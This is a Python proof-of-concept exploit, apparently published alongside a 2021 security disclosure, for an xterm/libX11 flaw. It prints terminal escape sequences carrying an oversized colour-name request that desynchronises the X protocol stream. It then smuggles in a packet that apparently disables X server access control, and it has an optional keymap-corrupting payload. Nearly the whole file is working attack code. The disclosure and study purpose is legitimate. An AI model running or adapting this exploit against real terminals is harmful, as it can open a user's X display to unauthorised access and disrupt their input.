#!/usr/bin/python3 -BbbEIsSttW all
# This software is provided by the copyright owner "as is"
# and WITHOUT ANY EXPRESSED OR IMPLIED WARRANTIES, including,
# but not limited to, the implied warranties of merchantability
# and fitness for a particular purpose are disclaimed. In no
# event shall the copyright owner be liable for any direct,
# indirect, incidential, special, exemplary or consequential
# damages, including, but not limited to, procurement of substitute
# goods or services, loss of use, data or profits or business
# interruption, however caused and on any theory of liability,
# whether in contract, strict liability, or tort, including
# negligence or otherwise, arising in any way out of the use
# of this software, even if advised of the possibility of such
# damage.
#
# Copyright (c) 2021 Unparalleled IT Services e.U.
#
# The software is only provided for reference to ease understanding
# and fixing of an underlying security issue in xterm/libx11.
# Therefore it may NOT be distributed freely while the security
# issue is not fixed and patched software is available widely.
# After that phase permission to use, copy, modify, and distribute
# this software according to GNU Lesser General Public License
# (LGPL-3.0) purpose is hereby granted, provided that the above
# copyright notice and this permission notice appear in all
# copies.
#
# This program demonstrates X client/server loss of synchronization
# due to a large color lookup request.
#
# See https://unparalleled.eu/blog/2021/20210518-using-xterm-to-navigate-the-huge-color-space/
# for more information.

import sys
import time

# Set to true to inject an alternative (nonfunctional) keymap
# too. NEVER ENABLE THIS AS IT WOULD RENDER YOU KEYBOARD UNUSABLE.
# If done accidentially, try to run "setxkbmap -layout [yourlayout]"
# to fix it.
messupKeymapFlag = False

def buildQueryTextExtents(frameCnt):
  data = bytearray(b'T'*(frameCnt<<2))
  data[0] = 48
  data[1] = 0x20
  data[2] = (len(data)>>2) & 0xff
  data[3] = (len(data)>>10) & 0xff
  return bytes(data)

def buildChangeKeyboardMappingPacket(keyCount, symsPerKey):
  data = bytearray(b' ' *(4*(2+keyCount*symsPerKey)))
  data[0] = 100
  data[1] = keyCount
  data[2] = (len(data)>>2) & 0xff
  data[3] = (len(data)>>10) & 0xff
# First key.
  data[4] = 0x20
  data[5] = symsPerKey
  return bytes(data)

# Just display the blue color because it is so nice.
sys.stdout.buffer.write(
    b'\x07\x1b]11;#006f00005858\x07Check "xhost" afterwards ...')
sys.stdout.buffer.flush()
time.sleep(2)

# Use an invalid color name so that xterm does not react with
# an immediate out-of-fram AllocColor.
overflowData = buildQueryTextExtents(0x7072) + buildQueryTextExtents(0x6f6a)
if messupKeymapFlag:
  overflowData += buildChangeKeyboardMappingPacket(121, 68)
else:
  overflowData += buildQueryTextExtents(0x2026)
# Shorten the name lookup overflow data. This will cause the
# last command to consume also 8 bytes from the next frame.
overflowData = overflowData[0:(1<<18)]

# Add the terminal control sequence for the color lookup, the
# overflow data for the color lookup and another terminal sequence
# to set the background color. The color value translates to
# a valid SetAccessControl packet frame.
data = \
    b'\x1b]12;grxxnZZZ' + overflowData + b'\x07\x1b]11;#006f00015858\x07'
sys.stdout.buffer.write(data)
sys.stdout.buffer.flush()
time.sleep(10)
